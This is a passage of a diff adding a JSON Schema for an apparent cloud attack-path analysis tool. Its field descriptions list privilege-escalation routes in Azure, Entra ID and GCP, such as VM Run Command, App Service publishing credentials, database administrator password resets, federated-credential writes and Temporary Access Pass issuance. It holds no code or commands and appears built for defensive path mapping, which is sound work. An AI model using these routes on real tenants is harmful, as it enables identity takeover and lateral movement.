"description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "attached_to_vm_joined_to_entra_domain_services": { + "const": true, + "description": "Managed identity attached to a VM joined to a Microsoft Entra Domain Services managed domain (JsonADDomainExtension naming the domainName of a Microsoft.AAD/domainServices resource): conditional (domain_join_state_not_verified); other VM identities unresolved (manual joins leave no ARM trace) unless no managed domain is inventoried." + }, + "azure_aci_assignable_uami": { + "const": true, + "description": "The source can assign the exact user-assigned identity and write an inventoried ACI container group or create one in an inventoried resource group; missing inventory stays unresolved." + }, + "azure_aci_exec_running_identity": { + "const": true, + "description": "The exact native ACI container group carries the target managed identity, has a running container, and the source can execute a command there." + }, + "azure_aci_existing_write_identity": { + "const": true, + "description": "The source can update an exact existing running ACI group that carries the target managed identity; terminated groups do not qualify." + }, + "azure_acr_assignable_uami": { + "const": true, + "description": "The source can write a task on an inventoried ACR registry or existing task and assign an exact, verified user-assigned identity resource." + }, + "azure_acr_existing_task_identity": { + "const": true, + "description": "The exact inventoried ACR task carries the target managed identity and the source can write that task." + }, + "azure_aks_rbac_cluster_binding": { + "const": true, + "description": "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API before creating a ClusterRoleBinding." + }, + "azure_aks_rbac_group_impersonation": { + "const": true, + "description": "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API." + }, + "azure_apim_restorable_backup": { + "const": true, + "description": "One fresh reviewed record binds a valid APIM-created backup, storage access, compatible restore target, controlled policy, and the exact attached identity." + }, + "azure_appservice_assignable_uami": { + "const": true, + "description": "The source can assign the exact inventoried user-assigned identity to an existing app it can write and control code in, or create an app in an inventoried resource group using a joinable plan." + }, + "azure_appservice_backup_restore_code_path": { + "const": true, + "description": "The source can restore a backup on the exact supported-tier App Service carrying the target identity; backup compatibility and code execution remain conditional." + }, + "azure_appservice_config_code_path": { + "const": true, + "description": "The target identity is attached to the exact app whose web or app-settings config child the source can write; the app's runtime must support a code-bearing configuration path." + }, + "azure_appservice_enable_publishing_credentials_code_path": { + "const": true, + "description": "The source can enable the exact app's SCM basic auth policy and read its publishing credentials; the app carries the target identity and can run deployed code." + }, + "azure_appservice_kudu_code_path": { + "const": true, + "description": "The target identity is attached to the exact App Service for which the source holds publish/action, with a supported Kudu hosting plan and an app that can run." + }, + "azure_appservice_onedeploy_code_path": { + "const": true, + "description": "The source can write the exact app's extensions/onedeploy child; the attached identity belongs to that app, and its runtime loads deployed packages." + }, + "azure_appservice_publishing_credentials_code_path": { + "const": true, + "description": "The source can read publishing credentials for the exact app carrying the target identity, SCM basic auth is enabled, and the runtime can load deployed code." + }, + "azure_appservice_sitecontainers_code_path": { + "const": true, + "description": "The source can write a SiteContainer child of the exact Linux app carrying the target identity, and that app uses SiteContainers mode." + }, + "azure_appservice_siteextensions_code_path": { + "const": true, + "description": "The source can install a site extension with a selectable package name on the exact Windows code app carrying the target identity." + }, + "azure_appservice_slot_code_path": { + "const": true, + "description": "The source has a code-bearing publish, source control, config, or SiteContainer route on the exact slot carrying the target identity." + }, + "azure_appservice_slot_publishing_credentials_code_path": { + "const": true, + "description": "The source can read publishing credentials for the exact slot carrying the target identity, and that slot's SCM basic auth policy allows credential use." + }, + "azure_appservice_slot_swap_code_path": { + "const": true, + "description": "The source can stage code and swap the same inventoried slot into the exact production app carrying the target identity." + }, + "azure_appservice_sourcecontrol_code_path": { + "const": true, + "description": "The source can write the exact identity app's sourcecontrols/web child and that app can execute deployed repository code." + }, + "azure_arc_custom_script_code_path": { + "const": true, + "description": "The source can create or update a Custom Script child on the exact Arc identity machine while its connected agent permits that extension." + }, + "azure_arc_entra_admin_ssh_path": { + "const": true, + "description": "The source can read Arc relay credentials for the exact machine endpoint and log in as administrator through configured Entra SSH." + }, + "azure_arc_guest_configuration_path": { + "const": true, + "description": "Exact Arc machine guest-configuration assignment write path and collected connection state." + }, + "azure_arc_run_command_code_path": { + "const": true, + "description": "The source can create or update a Run Command child on the exact Arc identity machine while its connected agent permits the handler." + }, + "azure_assignable_via_identity_holding": { + "description": "User-assigned identity reached through an intermediate user-assigned identity T: the source holds Microsoft.ManagedIdentity/userAssignedIdentities/assign/action on T and T holds the named action on the target identity resource (e.g. an Image Builder template identity that assigns the build-VM identity). The edge takes the weaker of both grants and the condition via_intermediate_identity:.", + "minLength": 1, + "type": "string" + }, + "azure_assignment_condition_uses_principal_attribute": { + "const": true, + "description": "azure_scope_owner / azure_dataplane_admin targets covered by a role assignment of the source (or its groups) whose ABAC condition reads @Principal custom security attributes (scope owner: the role grants roleAssignments/write at that scope; data-plane admin: the role has DataActions over the resource). Conditional (attribute_value_satisfying_condition_not_verified)." + }, + "azure_automation_assignable_uami": { + "const": true, + "description": "The source can assign the exact user-assigned identity to an inventoried Automation account or create one in an inventoried group, then create or edit and run a runbook there." + }, + "azure_automation_hybrid_worker_path": { + "const": true, + "description": "The source can create or edit and run a runbook on the Automation account with an inventoried Hybrid Worker VM carrying this identity." + }, + "azure_automation_runbook_identity_path": { + "const": true, + "description": "The source can create or edit and run a runbook on the exact Automation account carrying this managed identity." + }, + "azure_batch_job_pool_identity": { + "const": true, + "description": "The source can create a Batch job or schedule on the exact Entra-enabled account with a runnable native pool carrying this user-assigned identity." + }, + "azure_batch_pool_assignable_uami": { + "const": true, + "description": "The source can write an exact existing Batch pool or a new pool under an inventoried account and can assign the target user-assigned identity." + }, + "azure_batch_pool_starttask_identity": { + "const": true, + "description": "The source can write the exact native Batch pool that carries this verified user-assigned identity." + }, + "azure_batch_shared_key_pool_identity": { + "const": true, + "description": "The source can obtain a Shared Key from the exact Batch account with a native pool carrying this verified user-assigned identity." + }, + "azure_challenge_fact": { + "description": "Exact reviewed Azure technique/source/target/scope evidence; never a definite path.", + "type": "string" + }, + "azure_confidential_ledger_admin_path": { + "const": true, + "description": "The source has an Entra principal and the target is an inventoried usable Confidential Ledger whose ARM principal list can be updated." + }, + "azure_consumer_of_pivot": { + "anyOf": [ + { + "enum": [ + "key_vault_reference", + "storage_content", + "app_configuration_reference", + "queue_trigger", + "service_bus_trigger", + "event_subscription" + ] + }, + { + "items": { + "enum": [ + "key_vault_reference", + "storage_content", + "app_configuration_reference", + "queue_trigger", + "service_bus_trigger", + "event_subscription" + ] + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Managed identity of a workload that reads the pivot resource (value = binding kind(s): app_configuration_reference, event_subscription, key_vault_reference, queue_trigger, service_bus_trigger, storage_content). An identity holding the binding's read data action on a pivot resource is conditional (consumer_binding_not_collected); every other one is unresolved. Whether the consumer trusts the value enough to execute it is application logic: entries keep a condition for it." + }, + "azure_containerapp_assignable_uami": { + "const": true, + "description": "The source can write an exact inventoried Container App, attach the target user-assigned identity, and run a controlled revision." + }, + "azure_containerapp_create_uami_path": { + "const": true, + "description": "The source can create an app under an inventoried resource group and join an existing or creatable managed environment in the same subscription." + }, + "azure_containerapp_exec_identity": { + "const": true, + "description": "The source can obtain a console token and execute or debug on the same Container App with a running revision whose current identity is available to its main container." + }, + "azure_containerapp_job_assignable_uami": { + "const": true, + "description": "The source can assign the verified user-assigned identity to an exact writable job in a usable managed environment, or create a scheduled job in an inventoried group and joinable environment." + }, + "azure_containerapp_job_execution_identity": { + "const": true, + "description": "The source can start the exact usable Job with an execution template override, or write a controlled scheduled template, and the target identity is available in the main stage or an init stage on a confirmed Consumption workload profile." + }, + "azure_containerapp_write_existing_identity": { + "const": true, + "description": "The source can write an exact usable Container App with this currently attached identity, and can start it if stopped." + }, + "azure_cosmos_mongo_user_write": { + "const": true, + "description": "The source can create a password-controlled MongoDB user with a built-in privileged role on an exact usable MongoDB account with native RBAC enabled." + }, + "azure_cosmos_other_api_role_grant": { + "const": true, + "description": "The source can grant its own Entra principal a privileged native role on an exact usable account of the matching Cosmos DB API." + }, + "azure_cosmos_sql_role_grant": { + "const": true, + "description": "The source can assign its own Entra principal the built-in NoSQL Data Contributor role on an exact usable Cosmos DB for NoSQL account." + }, + "azure_databricks_workspace_admin": { + "const": true, + "description": "An enabled tenant member user can bootstrap admin on an exact usable Databricks workspace with both required Azure RBAC actions." + }, + "azure_deployer_of_pivot": { + "const": true, + "description": "Identity that deploys the pivot resource (e.g. deployment script runner); not collected (unknown)." + }, + "azure_deployment_script_uami_path": { + "const": true, + "description": "The source can create or update a deployment script with the exact assignable UAMI and can manage its required support resources." + }, + "azure_devtestlab_artifact_identity": { + "const": true, + "description": "The source can apply artifacts to the exact lab VM whose computeId points to a known compute VM carrying the target identity." + }, + "azure_external_plane": { + "description": "Exact adjacent authorization plane of a reviewed Azure external-principal gain.", + "type": "string" + }, + "azure_external_principal_evidence": { + "const": true, + "description": "Unique complete reviewed evidence binds a declared ARM action to one named adjacent-plane principal, usable credential or grant, prior denial, and a newly allowed target action." + }, + "azure_flux_cluster_path": { + "const": true, + "description": "A writable Flux configuration belongs to the exact AKS or Arc cluster and has cluster scope." + }, + "azure_function_definition_code_path": { + "const": true, + "description": "Source can edit a function on the exact writable Function App carrying the target managed identity." + }, + "azure_function_host_vfs_code_path": { + "const": true, + "description": "Source can use hostruntime VFS write on the exact writable Function App carrying the target managed identity." + }, + "azure_function_remote_debug_path": { + "const": true, + "description": "Source can obtain publishing credentials and enable or use debugging on the exact supported Function App identity host." + }, + "azure_host_linked_to_pivot": { + "description": "Identity of a VM linked to the pivot resource: avd_session_host (application group -> hostPoolArmPath -> session hosts), automation_hybrid_worker (hybrid runbook workers' vmResourceId), devtest_lab_compute_vm (lab VM computeId), service_fabric_node_vmss (not collected: always unresolved). Linked VM identities are derived; the others are dropped when every link under {pivot} is collected, else unresolved.", + "enum": [ + "avd_session_host", + "automation_hybrid_worker", + "devtest_lab_compute_vm", + "service_fabric_node_vmss" + ] + }, + "azure_hybrid_k8s_admin_credential_path": { + "const": true, + "description": "Bind a hybrid cluster admin kubeconfig action to its exact provisioned cluster or Arc cluster instance." + }, + "azure_identity_assignable_in_scope": { + "const": true, + "description": "Requirements with scope '*' must hold on a scope that contains the identity's attached resource (or the user-assigned identity resource)." + }, + "azure_imagebuilder_new_template_identity_path": { + "const": true, + "description": "Check create and run on one new template plus source-to-template and template-to-build-VM identity assignment." + }, + "azure_kusto_cluster_principal_assignment_path": { + "const": true, + "description": "Bind a cluster principal-assignment write to an exact collected Kusto cluster." + }, + "azure_kusto_database_principal_assignment_path": { + "const": true, + "description": "Bind a database principal-assignment write to an exact collected Kusto database." + }, + "azure_loadtesting_assign_uami_path": { + "const": true, + "description": "Bind UAMI assignment and all load-test write and run rights to the same existing or creatable resource." + }, + "azure_loadtesting_existing_engine_identity_path": { + "const": true, + "description": "Bind test write and start DataActions to an exact Load Testing resource carrying the target identity." + }, + "azure_logicapp_assign_uami_path": { + "const": true, + "description": "The source can assign the exact UAMI and write one existing or creatable Consumption workflow in an inventoried resource group." + }, + "azure_logicapp_existing_identity_path": { + "const": true, + "description": "The source can write the exact existing Consumption workflow carrying the target managed identity." + }, + "azure_managedapp_listtokens_path": { + "const": true, + "description": "The source can call listTokens on the exact managed application carrying the target managed identity." + }, + "azure_ml_compute_application_identity_path": { + "const": true, + "description": "The source can open applications on the exact assigned or shared ML compute instance carrying the identity, while it runs or can be started." + }, + "azure_ml_compute_create_uami_path": { + "const": true, + "description": "The source can create a new compute instance with an inline script under an existing workspace and assign the exact user-assigned identity." + }, + "azure_ml_existing_online_deployment_identity_path": { + "const": true, + "description": "The source can write the exact existing online endpoint, a deployment child and the owning workspace read path while that endpoint carries the target identity." + }, + "azure_ml_online_endpoint_create_uami_path": { + "const": true, + "description": "The source can create one online endpoint and deployment under an existing workspace and assign the exact user-assigned identity." + }, + "azure_mongo_cluster_admin_password": { + "const": true, + "description": "The source can update an exact inventoried primary Mongo cluster in a usable state to reset its administrator password." + }, + "azure_mongo_cluster_self_root": { + "const": true, + "description": "The source can assign the root database role to its own Entra principal on an exact usable primary Mongo cluster with Entra authentication enabled or enableable." + }, + "azure_mysql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable MySQL Flexible Server with native password authentication enabled or enableable." + }, + "azure_mysql_flexible_entra_admin_write": { + "const": true, + "description": "The source can set itself or a group it belongs to as the Entra administrator of an exact usable MySQL Flexible Server with a qualified user-assigned identity." + }, + "azure_policy_assignment_identity_path": { + "const": true, + "description": "A writable policy assignment, writable visible custom definition, and assignable UAMI must form one usable path." + }, + "azure_postgresql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact ready PostgreSQL Flexible Server, promoting a replica first if necessary." + }, + "azure_postgresql_flexible_entra_admin_write": { + "const": true, + "description": "The source can add itself or a group it belongs to as an Entra administrator on an exact PostgreSQL Flexible Server with Entra authentication enabled or enableable." + }, + "azure_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Restrict an Azure resource entity target to collected resources with the exact ARM type." + }, + "azure_root_scope_only": { + "const": true, + "description": "Restrict an Azure root-scope authorization target to the tenant root (/)." + }, + "azure_servicefabric_application_uami_path": { + "const": true, + "description": "Application type, version, application and UAMI assignment grants must join on one Service Fabric cluster." + }, + "azure_site_kind": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Microsoft.Web/sites kind contains the value (functionapp, app, ...)." + }, + "azure_spring_app_uami_path": { + "const": true, + "description": "App write and deployment write must join on one app in an inventoried Spring Apps service, with assignment of the exact UAMI." + }, + "azure_spring_deployment_identity_path": { + "const": true, + "description": "Deployment write must authorize a child of the Spring app carrying the target managed identity." + }, + "azure_sql_server_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL logical server with SQL authentication enabled or enableable." + }, + "azure_sql_server_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable Azure SQL logical server." + }, + "azure_sqlmi_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL Managed Instance with SQL authentication enabled or enableable." + }, + "azure_sqlmi_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable SQL Managed Instance whose identity can read the directory." + }, + "azure_storage_local_credential": { + "description": "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights.", + "type": "string" + }, + "azure_synapse_entra_admin_path": { + "const": true, + "description": "An eligible source can write the Active Directory administrator child of an inventoried Synapse workspace." + }, + "azure_uami_fic_write_path": { + "const": true, + "description": "The source can create or update a federated credential child on the exact user-assigned identity resource." + }, + "azure_users_assigned_to_pivot": { + "const": true, + "description": "azure_user targets holding Desktop Virtualization User (directly or through a group) on an AVD application group within {pivot}; always conditional (user_launches_app)." + }, + "azure_vm_assign_existing_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and execute code on that same VM." + }, + "azure_vm_assign_indirect_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and use a same-VM indirect guest route." + }, + "azure_vm_create_uami_path": { + "const": true, + "description": "The source can create a VM in a known group, join a usable NIC or create one on a known subnet, and assign the exact UAMI." + }, + "azure_vm_extension_execution_path": { + "const": true, + "description": "Extension write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_gallery_application_path": { + "const": true, + "description": "Writable gallery application version and VM write must join an inventoried VM identity host." + }, + "azure_vm_managed_runcommand_path": { + "const": true, + "description": "Managed Run Command write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_os_disk_swap_path": { + "const": true, + "description": "VM write and writable compatible same-region replacement disk must join the inventoried VM identity host." + }, + "azure_vm_reimage_customdata_path": { + "const": true, + "description": "Reimage with request-body customData must target an inventoried Linux VM carrying the target identity." + }, + "azure_vm_runcommand_action_path": { + "const": true, + "description": "Run Command action must target an inventoried VM carrying the identity and a stopped VM needs start/action." + }, + "azure_vmss_instance_identity": { + "const": true, + "description": "The selected scale-set VM instance belongs to a scale set carrying this managed identity." + }, + "azure_vmss_instance_runcommand_action_path": { + "const": true, + "description": "Run Command action must authorize an inventoried Uniform scale-set instance carrying the identity." + }, + "azure_vmss_instance_runcommand_path": { + "const": true, + "description": "Managed Run Command write must target a child of an inventoried Uniform scale-set instance." + }, + "azure_vmss_model_rollout_path": { + "const": true, + "description": "Uniform VMSS model or extension write must authorize the identity host and a route to its instances." + }, + "credential_stored_in_scope": { + "description": "Principals whose secrets are stored in that resource/scope (always conditional; secret contents are never read).", + "type": "string" + }, + "custom_role_assigned_to_source": { + "const": true, + "description": "Target scope is one where a custom role assigned to the source applies (role definition rewrite)." + }, + "entra_access_package_auto_assignment_open_to_guest": { + "const": true, + "description": "Targets that are resources of an access package with an automatic-assignment policy whose rule does not exclude guests (userType -eq \"Member\"). Conditional (auto_assignment_rule_semantics_approximated)." + }, + "entra_agent_blueprint_principal_or_child_identity": { + "const": true, + "description": "Target is an agent identity blueprint principal or one of its child agent identities." + }, + "entra_app_sign_in_audience": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Application signInAudience equals the value." + }, + "entra_auth_admin_user_takeover": { + "const": true, + "description": "Authentication Administrator role scope, protected user and TAP or password reset path are checked for the target." + }, + "entra_auto_assignment_package_group": { + "const": true, + "description": "Target group has a Member role in an existing access package whose automatic assignment policy the source can create." + }, + "entra_catalog_self_grant_group": { + "const": true, + "description": "A source user can create or assign a package granting Member or Owner of this cataloged group; assignment managers require an existing package with that exact grant." + }, + "entra_catalog_self_grant_role": { + "const": true, + "description": "A source user can create or assign a package granting Active Member or Eligible Member of this cataloged Entra role; assignment managers require an existing package with that exact grant." + }, + "entra_custom_role_assigned_to_source": { + "const": true, + "description": "Target is reached by editing a custom directory role already assigned to the source." + }, + "entra_dynamic_rule_attributes_writable_by_source": { + "const": true, + "description": "Dynamic membershipRule references user attributes the source can write (membershipRule needed)." + }, + "entra_dynamic_rule_satisfiable_by_invited_guest": { + "const": true, + "description": "Dynamic membershipRule can be satisfied by a guest the source can invite (membershipRule needed)." + }, + "entra_graph_application_credential_target": { + "const": true, + "description": "Application-type service principal has a matching tenant application for application addPassword; foreign service principals stay unresolved when their instance lock cannot be checked." + }, + "entra_graph_directory_role_self_grant": { + "const": true, + "description": "An enabled Graph application source can assign itself a new tenant-scoped, enabled directory role." + }, + "entra_graph_group_sp_membership": { + "const": true, + "description": "The source app has Graph permission to add itself to a cloud-managed security group that does not already contain it." + }, + "entra_graph_group_user_membership": { + "const": true, + "description": "The source app can add a user it reaches to a cloud-managed security or Microsoft 365 group." + }, + "entra_graph_self_grant_directory_role": { + "const": true, + "description": "The source can grant itself Microsoft Graph RoleManagement.ReadWrite.Directory and a fresh token can assign an inventoried Entra directory role." + }, + "entra_graph_tap_user_target": { + "const": true, + "description": "An enabled Graph application can issue a Temporary Access Pass to a user included in the enabled policy and not excluded by group or external identity." + }, + "entra_group_membership_cloud_writable": { + "const": true, + "description": "Synchronized or missing group source-of-authority facts keep a membership-write path conditional." + }, + "entra_group_membership_type": { + "description": "Group membership is 'assigned' or 'dynamic' (groupTypes contains DynamicMembership).", + "type": "string" + }, + "entra_group_new_self_membership": { + "const": true, + "description": "The enabled source can join this supported assigned group and is not already a direct or nested member." + }, + "entra_group_owner_new_self_membership": { + "const": true, + "description": "An enabled owner can join the supported assigned group, with protected-group Graph permission checks." + }, + "entra_group_role_assignable": { + "description": "Group isAssignableToRole equals the value.", + "type": "boolean" + }, + "entra_group_source_not_owner": { + "const": true, + "description": "The source is not already an owner of the target group; incomplete owner inventory stays conditional." + }, + "entra_group_source_self_membership": { + "const": true, + "description": "An application source needs Graph group-write and application-write permission to add its own service principal as a member." + }, + "entra_group_type_covered_by_permission": { + "const": true, + "description": "Group type (security / Microsoft 365) is covered by the entra_permission variant (groups.security / groups.unified)." + }, + "entra_helpdesk_password_reset": { + "const": true, + "description": "Helpdesk password reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_nonadmin_password_reset": { + "const": true, + "description": "Non-admin reset roles check user source, target protection, administrative unit scope, and password origin." + }, + "entra_password_admin_reset": { + "const": true, + "description": "Password Administrator reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_pim_active_sp_membership": { + "const": true, + "description": "The enabled application source can request time-limited active membership in a cloud security group where it is not already a member." + }, + "entra_pim_controlled_user_eligibility": { + "const": true, + "description": "A PIM eligibility request can name a controlled user who is not already a member of the cloud security or Microsoft 365 group." + }, + "entra_pim_eligible_for_source": { + "const": true, + "description": "Source has a PIM eligibility schedule for the target role." + }, + "entra_pim_group_eligible_for_source": { + "anyOf": [ + { + "const": true + }, + { + "enum": [ + "member", + "owner" + ] + } + ], + "description": "Entra groups with a current direct user eligibility for member or owner activation and a matching PIM policy." + }, + "entra_privileged_auth_user_takeover": { + "const": true, + "description": "Privileged credential reset checks role scope, target protection, and application grants." + }, + "entra_reset_matrix_column": { + "description": "Targets whose password the role column may reset per Microsoft's 'who can reset passwords' table, excluding role-assignable-group members and restricted-AU members.", + "type": "string" + }, + "entra_resource_in_catalog": { + "const": true, + "description": "entra_group / azure_service_principal / entra_role targets that are resources of an entitlement-management catalog; {target.catalog} = those catalogs (for entra_catalog_role requirements)." + }, + "entra_role_assignable": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target is the named Entra directory role (display name, template ID, '*' or 'any')." + }, + "entra_role_assignment_scope_covers_target": { + "const": true, + "description": "The directory role assignment's directoryScopeId ('/', AU or object) contains the target." + }, + "entra_role_assignment_self_grant": { + "const": true, + "description": "An active role-assignment manager can assign itself a new enabled directory role at tenant scope." + }, + "entra_source_is_owner_of_application": { + "const": true, + "description": "Source owns the target's application object." + }, + "entra_source_is_owner_of_group": { + "const": true, + "description": "Source owns the target group." + }, + "entra_source_is_owner_of_service_principal": { + "const": true, + "description": "Source owns the target service principal." + }, + "entra_sp_credential_takeover_target": { + "const": true, + "description": "An enabled application service principal whose credential update is not blocked by a known home-application lock." + }, + "entra_sp_has_tenant_application": { + "const": true, + "description": "Service principal's appId belongs to an application registered in this tenant." + }, + "entra_sp_owner_update_target": { + "const": true, + "description": "An enabled application service principal the user does not already own and whose credentials are not known to be locked." + }, + "entra_sp_type_in": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Service principal servicePrincipalType is one of the values." + }, + "entra_target_not_in_restricted_au": { + "const": true, + "description": "Target is not a member of a restricted management administrative unit (AU facts needed)." + }, + "entra_user_admin_password_reset": { + "const": true, + "description": "User Administrator reset checks target roles, AU scope, password origin, and app-only Graph grants." + }, + "entra_user_upn_on_federatable_custom_domain": { + "const": true, + "description": "Target user's UPN is on a verified custom domain whose federation the source can change (domain facts needed)." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "fabric_workspace_identity": { + "const": true, + "description": "azure_service_principal targets that are the workspace identity of a Microsoft Fabric workspace; {target.host_resource} = that workspace (for fabric_workspace_role requirements)." + }, + "intune_managed_device_user": { + "const": true, + "description": "azure_user targets that are the primary user of an Intune-managed device. Conditional (device_session_not_verified): code run on the device reaches the user's session only while they sign in." + }, + "managed_identity_type": { + "description": "Managed identity is user_assigned or system_assigned.", + "type": "string" + }, + "ml_compute_assigned_to_source": { + "const": true, + "description": "Azure ML compute instance assigned to the source (not collected, unknown)." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + } + }, + "type": "object" + } + } + } + } + }, + "excluded": { + "properties": { + "reason": { + "type": "string" + }, + "source": { + "type": "string" + }, + "source_revision": { + "type": "string" + }, + "technique": { + "type": "string" + } + }, + "required": [ + "source", + "reason" + ], + "type": "object" + }, + "gcp_conjunction": { + "items": { + "$ref": "#/$defs/gcp_item" + }, + "minItems": 1, + "type": "array" + }, + "gcp_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/gcp_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/gcp_item" + }, + { + "$ref": "#/$defs/gcp_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "gcp_item": { + "anyOf": [ + { + "$ref": "#/$defs/gcp_requirement" + }, + { + "$ref": "#/$defs/gcp_group" + } + ] + }, + "gcp_requirement": { + "additionalProperties": false, + "anyOf": [ + { + "required": [ + "permission" + ] + }, + { + "required": [ + "action" + ] + } + ], + "properties": { + "action": { + "description": "Concrete permission 'service.resource.verb'.", + "pattern": "^[^.*\\s]+\\.[^*\\s]+\\.[^.*\\s]+$", + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "notes": { + "type": "string" + }, + "permission": { + "description": "Concrete permission 'service.resource.verb'.", + "pattern": "^[^.*\\s]+\\.[^*\\s]+\\.[^.*\\s]+$", + "type": "string" + }, + "resource": { + "type": "string" + } + }, + "type": "object" + }, + "gcp_technique": { + "properties": { + "id": { + "pattern": "^gcp-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/gcp_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/gcp_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_service_account", + "gcp_user", + "gcp_workspace_user", + "k8s_service_account" + ] + }, + { + "items": { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_service_account", + "gcp_user", + "gcp_workspace_user", + "k8s_service_account" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "gcp_workspace_admin_role": { + "description": "Source is a Workspace/Cloud Identity user holding that admin role: 'super_admin' (users.isAdmin or a role with isSuperAdminRole) or an admin roleId / roleName (Admin SDK roleAssignments).", + "type": "string" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_cluster_admin", + "k8s_service_account" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "attached_to_service": { 